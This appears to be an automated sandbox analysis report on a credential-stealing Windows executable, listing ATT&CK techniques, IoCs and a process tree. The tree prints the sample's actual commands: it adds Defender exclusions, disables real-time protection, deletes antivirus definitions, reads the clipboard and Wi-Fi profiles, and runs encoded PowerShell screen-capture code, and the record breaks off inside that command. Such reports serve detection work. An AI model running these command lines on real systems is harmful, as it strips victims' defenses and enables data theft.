b66d40780ab28d100746cb4ea17aefef7370cb963aad556fcf484e5bb8879fc5

Analysis

max time kernel
148s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/11/2026, 13:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
system32.exe
Size 6.9MB
Sample261101-qlpr4sxt4l
SHA256 b66d40780ab28d100746cb4ea17aefef7370cb963aad556fcf484e5bb8879fc5
MD5 7ee26ac703084fed1302f41d18ded0e1
SHA1 f849857435e7d03d5446ca64a846c28fa8ae94ab
SHA512 e386293c6060afeb1900f04c8f2c14506673c704945a8ecfe5bbac3233c95ad5e0126c74ce489a30a0f06fb8fe9e8be894ef508215c457a12a50341b80604206
SSDEEP 98304:SzdbM+Q2y+Qwx9zjOjFgFQlwq4Mjk+dBZtu9xTtwz/aer6/BbKuJ1nL22BLRSnRh:gywx9XOjmFQR4MVGFtwLPcnL225RiT
TLSH
T124763389EBA106F0F473923881939557DB72B52A07F8CADF43E042512F633D2993EB56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4768	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5404	powershell.exe
1124	powershell.exe
5620	powershell.exe
1788	powershell.exe
1704	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5620	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1580	powershell.exe
4416	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4664	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe
3332	system32.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
10	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2116	tasklist.exe
2360	tasklist.exe
3888	tasklist.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c63f-21.dat	upx
behavioral2/memory/3332-24-0x00007FF81C720000-0x00007FF81CD09000-memory.dmp	upx
behavioral2/files/0x000c00000001c632-27.dat	upx
behavioral2/files/0x000c00000001c639-48.dat	upx
behavioral2/files/0x000c00000001c638-47.dat	upx
behavioral2/files/0x000c00000001c637-46.dat	upx
behavioral2/files/0x000c00000001c636-45.dat	upx
behavioral2/files/0x000c00000001c635-44.dat	upx
behavioral2/memory/3332-50-0x00007FF833430000-0x00007FF833449000-memory.dmp	upx
behavioral2/memory/3332-52-0x00007FF833400000-0x00007FF83342D000-memory.dmp	upx
behavioral2/files/0x000c00000001c631-49.dat	upx
behavioral2/files/0x000c00000001c634-43.dat	upx
behavioral2/files/0x000c00000001c633-42.dat	upx
behavioral2/files/0x000c00000001c645-40.dat	upx
behavioral2/files/0x000c00000001c644-39.dat	upx
behavioral2/files/0x000c00000001c63e-35.dat	upx
behavioral2/files/0x000c00000001c63c-34.dat	upx
behavioral2/memory/3332-32-0x00007FF833450000-0x00007FF83345F000-memory.dmp	upx
behavioral2/files/0x000c00000001c63d-31.dat	upx
behavioral2/files/0x000c00000001c643-38.dat	upx
behavioral2/memory/3332-30-0x00007FF833460000-0x00007FF833483000-memory.dmp	upx
behavioral2/memory/3332-58-0x00007FF831350000-0x00007FF831373000-memory.dmp	upx
behavioral2/memory/3332-60-0x00007FF8277F0000-0x00007FF827960000-memory.dmp	upx
behavioral2/memory/3332-62-0x00007FF82F740000-0x00007FF82F759000-memory.dmp	upx
behavioral2/memory/3332-64-0x00007FF831CA0000-0x00007FF831CAD000-memory.dmp	upx
behavioral2/memory/3332-66-0x00007FF82F510000-0x00007FF82F53E000-memory.dmp	upx
behavioral2/memory/3332-70-0x00007FF81C720000-0x00007FF81CD09000-memory.dmp	upx
behavioral2/memory/3332-71-0x00007FF8238A0000-0x00007FF823958000-memory.dmp	upx
behavioral2/memory/3332-74-0x00007FF833460000-0x00007FF833483000-memory.dmp	upx
behavioral2/memory/3332-76-0x00007FF82F4F0000-0x00007FF82F504000-memory.dmp	upx
behavioral2/memory/3332-78-0x00007FF831100000-0x00007FF83110D000-memory.dmp	upx
behavioral2/memory/3332-73-0x00007FF81C3A0000-0x00007FF81C719000-memory.dmp	upx
behavioral2/memory/3332-82-0x00007FF822EA0000-0x00007FF822FBC000-memory.dmp	upx
behavioral2/memory/3332-83-0x00007FF831350000-0x00007FF831373000-memory.dmp	upx
behavioral2/memory/3332-99-0x00007FF8277F0000-0x00007FF827960000-memory.dmp	upx
behavioral2/memory/3332-108-0x00007FF82F740000-0x00007FF82F759000-memory.dmp	upx
behavioral2/memory/3332-172-0x00007FF82F510000-0x00007FF82F53E000-memory.dmp	upx
behavioral2/memory/3332-177-0x00007FF8238A0000-0x00007FF823958000-memory.dmp	upx
behavioral2/memory/3332-200-0x00007FF831100000-0x00007FF83110D000-memory.dmp	upx
behavioral2/memory/3332-188-0x00007FF833460000-0x00007FF833483000-memory.dmp	upx
behavioral2/memory/3332-187-0x00007FF81C720000-0x00007FF81CD09000-memory.dmp	upx
behavioral2/memory/3332-202-0x00007FF81C3A0000-0x00007FF81C719000-memory.dmp	upx
behavioral2/memory/3332-281-0x00007FF833450000-0x00007FF83345F000-memory.dmp	upx
behavioral2/memory/3332-288-0x00007FF82F510000-0x00007FF82F53E000-memory.dmp	upx
behavioral2/memory/3332-289-0x00007FF8238A0000-0x00007FF823958000-memory.dmp	upx
behavioral2/memory/3332-290-0x00007FF81C3A0000-0x00007FF81C719000-memory.dmp	upx
behavioral2/memory/3332-292-0x00007FF831100000-0x00007FF83110D000-memory.dmp	upx
behavioral2/memory/3332-291-0x00007FF82F4F0000-0x00007FF82F504000-memory.dmp	upx
behavioral2/memory/3332-294-0x00007FF822EA0000-0x00007FF822FBC000-memory.dmp	upx
behavioral2/memory/3332-285-0x00007FF8277F0000-0x00007FF827960000-memory.dmp	upx
behavioral2/memory/3332-287-0x00007FF831CA0000-0x00007FF831CAD000-memory.dmp	upx
behavioral2/memory/3332-286-0x00007FF82F740000-0x00007FF82F759000-memory.dmp	upx
behavioral2/memory/3332-284-0x00007FF831350000-0x00007FF831373000-memory.dmp	upx
behavioral2/memory/3332-283-0x00007FF833400000-0x00007FF83342D000-memory.dmp	upx
behavioral2/memory/3332-279-0x00007FF81C720000-0x00007FF81CD09000-memory.dmp	upx
behavioral2/memory/3332-282-0x00007FF833430000-0x00007FF833449000-memory.dmp	upx
behavioral2/memory/3332-280-0x00007FF833460000-0x00007FF833483000-memory.dmp	upx

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	system32.exe

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
2648	WMIC.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4228	cmd.exe
5416	cmd.exe
1240	cmd.exe
480	cmd.exe
2776	cmd.exe
3192	cmd.exe
2872	cmd.exe
2096	cmd.exe
4756	cmd.exe
5368	cmd.exe
2656	cmd.exe
6068	cmd.exe
4700	cmd.exe
4560	cmd.exe
1848	cmd.exe
1888	cmd.exe
4936	cmd.exe
5784	cmd.exe
3160	cmd.exe
2480	cmd.exe
3448	cmd.exe
3944	cmd.exe
4004	cmd.exe
4368	cmd.exe
5464	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	system32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	system32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3192	cmd.exe
2976	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4324	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1928	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 50 IoCs

pid	Process
5404	powershell.exe
5404	powershell.exe
5620	powershell.exe
5620	powershell.exe
1124	powershell.exe
1124	powershell.exe
5404	powershell.exe
5404	powershell.exe
4808	WMIC.exe
4808	WMIC.exe
4808	WMIC.exe
4808	WMIC.exe
1580	powershell.exe
1580	powershell.exe
5620	powershell.exe
5620	powershell.exe
1124	powershell.exe
1124	powershell.exe
1580	powershell.exe
3320	powershell.exe
3320	powershell.exe
3320	powershell.exe
1788	powershell.exe
1788	powershell.exe
1788	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
3464	WMIC.exe
3464	WMIC.exe
3464	WMIC.exe
3464	WMIC.exe
5112	WMIC.exe
5112	WMIC.exe
5112	WMIC.exe
5112	WMIC.exe
2648	WMIC.exe
2648	WMIC.exe
2648	WMIC.exe
2648	WMIC.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
4324	WMIC.exe
4324	WMIC.exe
4324	WMIC.exe
4324	WMIC.exe
200	powershell.exe
200	powershell.exe
200	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5404	powershell.exe
Token: SeDebugPrivilege	2360	tasklist.exe
Token: SeDebugPrivilege	5620	powershell.exe
Token: SeDebugPrivilege	2116	tasklist.exe
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeIncreaseQuotaPrivilege	4808	WMIC.exe
Token: SeSecurityPrivilege	4808	WMIC.exe
Token: SeTakeOwnershipPrivilege	4808	WMIC.exe
Token: SeLoadDriverPrivilege	4808	WMIC.exe
Token: SeSystemProfilePrivilege	4808	WMIC.exe
Token: SeSystemtimePrivilege	4808	WMIC.exe
Token: SeProfSingleProcessPrivilege	4808	WMIC.exe
Token: SeIncBasePriorityPrivilege	4808	WMIC.exe
Token: SeCreatePagefilePrivilege	4808	WMIC.exe
Token: SeBackupPrivilege	4808	WMIC.exe
Token: SeRestorePrivilege	4808	WMIC.exe
Token: SeShutdownPrivilege	4808	WMIC.exe
Token: SeDebugPrivilege	4808	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4808	WMIC.exe
Token: SeRemoteShutdownPrivilege	4808	WMIC.exe
Token: SeUndockPrivilege	4808	WMIC.exe
Token: SeManageVolumePrivilege	4808	WMIC.exe
Token: 33	4808	WMIC.exe
Token: 34	4808	WMIC.exe
Token: 35	4808	WMIC.exe
Token: 36	4808	WMIC.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeDebugPrivilege	3888	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4808	WMIC.exe
Token: SeSecurityPrivilege	4808	WMIC.exe
Token: SeTakeOwnershipPrivilege	4808	WMIC.exe
Token: SeLoadDriverPrivilege	4808	WMIC.exe
Token: SeSystemProfilePrivilege	4808	WMIC.exe
Token: SeSystemtimePrivilege	4808	WMIC.exe
Token: SeProfSingleProcessPrivilege	4808	WMIC.exe
Token: SeIncBasePriorityPrivilege	4808	WMIC.exe
Token: SeCreatePagefilePrivilege	4808	WMIC.exe
Token: SeBackupPrivilege	4808	WMIC.exe
Token: SeRestorePrivilege	4808	WMIC.exe
Token: SeShutdownPrivilege	4808	WMIC.exe
Token: SeDebugPrivilege	4808	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4808	WMIC.exe
Token: SeRemoteShutdownPrivilege	4808	WMIC.exe
Token: SeUndockPrivilege	4808	WMIC.exe
Token: SeManageVolumePrivilege	4808	WMIC.exe
Token: 33	4808	WMIC.exe
Token: 34	4808	WMIC.exe
Token: 35	4808	WMIC.exe
Token: 36	4808	WMIC.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeIncreaseQuotaPrivilege	5620	powershell.exe
Token: SeSecurityPrivilege	5620	powershell.exe
Token: SeTakeOwnershipPrivilege	5620	powershell.exe
Token: SeLoadDriverPrivilege	5620	powershell.exe
Token: SeSystemProfilePrivilege	5620	powershell.exe
Token: SeSystemtimePrivilege	5620	powershell.exe
Token: SeProfSingleProcessPrivilege	5620	powershell.exe
Token: SeIncBasePriorityPrivilege	5620	powershell.exe
Token: SeCreatePagefilePrivilege	5620	powershell.exe
Token: SeBackupPrivilege	5620	powershell.exe
Token: SeRestorePrivilege	5620	powershell.exe
Token: SeShutdownPrivilege	5620	powershell.exe
Token: SeDebugPrivilege	5620	powershell.exe
Token: SeSystemEnvironmentPrivilege	5620	powershell.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 3332	2320	system32.exe	90
PID 3332 wrote to memory of 480	3332	system32.exe	91
PID 3332 wrote to memory of 6068	3332	system32.exe	92
PID 3332 wrote to memory of 2480	3332	system32.exe	93
PID 480 wrote to memory of 5404	480	cmd.exe	97
PID 3332 wrote to memory of 4700	3332	system32.exe	98
PID 3332 wrote to memory of 4560	3332	system32.exe	100
PID 3332 wrote to memory of 3448	3332	system32.exe	102
PID 4700 wrote to memory of 2360	4700	cmd.exe	103
PID 6068 wrote to memory of 5620	6068	cmd.exe	104
PID 2480 wrote to memory of 1124	2480	cmd.exe	106
PID 4560 wrote to memory of 2116	4560	cmd.exe	107
PID 3332 wrote to memory of 4416	3332	system32.exe	108
PID 3332 wrote to memory of 2776	3332	system32.exe	110
PID 3332 wrote to memory of 3944	3332	system32.exe	112
PID 3332 wrote to memory of 3192	3332	system32.exe	114
PID 3448 wrote to memory of 4808	3448	cmd.exe	115
PID 3332 wrote to memory of 1848	3332	system32.exe	117
PID 4416 wrote to memory of 1580	4416	cmd.exe	118
PID 3332 wrote to memory of 2572	3332	system32.exe	120
PID 3192 wrote to memory of 2976	3192	cmd.exe	122
PID 2776 wrote to memory of 3888	2776	cmd.exe	123
PID 3944 wrote to memory of 4872	3944	cmd.exe	124
PID 1848 wrote to memory of 1928	1848	cmd.exe	125
PID 2572 wrote to memory of 3320	2572	cmd.exe	126
PID 3332 wrote to memory of 1888	3332	system32.exe	127
PID 1888 wrote to memory of 4848	1888	cmd.exe	129
PID 3332 wrote to memory of 2872	3332	system32.exe	130
PID 2872 wrote to memory of 2576	2872	cmd.exe	132
PID 3332 wrote to memory of 4004	3332	system32.exe	134
PID 4004 wrote to memory of 3076	4004	cmd.exe	136
PID 3320 wrote to memory of 2580	3320	powershell.exe	137
PID 3332 wrote to memory of 2096	3332	system32.exe	138
PID 2580 wrote to memory of 2056	2580	csc.exe	140
PID 2096 wrote to memory of 4536	2096	cmd.exe	141
PID 3332 wrote to memory of 4756	3332	system32.exe	142
PID 4756 wrote to memory of 1224	4756	cmd.exe	144
PID 3332 wrote to memory of 5368	3332	system32.exe	145
PID 5368 wrote to memory of 2548	5368	cmd.exe	147
PID 6068 wrote to memory of 4768	6068	cmd.exe	148
PID 3332 wrote to memory of 4228	3332	system32.exe	149
PID 4228 wrote to memory of 1788	4228	cmd.exe	151
PID 3332 wrote to memory of 2656	3332	system32.exe	152
PID 2656 wrote to memory of 2288	2656	cmd.exe	154
PID 3332 wrote to memory of 4936	3332	system32.exe	155
PID 4936 wrote to memory of 4664	4936	cmd.exe	157
PID 3332 wrote to memory of 5416	3332	system32.exe	158
PID 5416 wrote to memory of 3464	5416	cmd.exe	160
PID 3332 wrote to memory of 4368	3332	system32.exe	161
PID 4368 wrote to memory of 5112	4368	cmd.exe	163
PID 3332 wrote to memory of 5784	3332	system32.exe	164
PID 5784 wrote to memory of 2648	5784	cmd.exe	166
PID 3332 wrote to memory of 3160	3332	system32.exe	167
PID 3160 wrote to memory of 1704	3160	cmd.exe	169
PID 3332 wrote to memory of 1240	3332	system32.exe	170
PID 1240 wrote to memory of 4324	1240	cmd.exe	172
PID 3332 wrote to memory of 5464	3332	system32.exe	173
PID 5464 wrote to memory of 200	5464	cmd.exe	175

C:\Users\Admin\AppData\Local\Temp\system32.exe
"C:\Users\Admin\AppData\Local\Temp\system32.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Users\Admin\AppData\Local\Temp\system32.exe
  "C:\Users\Admin\AppData\Local\Temp\system32.exe"
  2⤵
  - Loads dropped DLL
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:3332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5620
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:4416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2776
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3944
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3192
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlA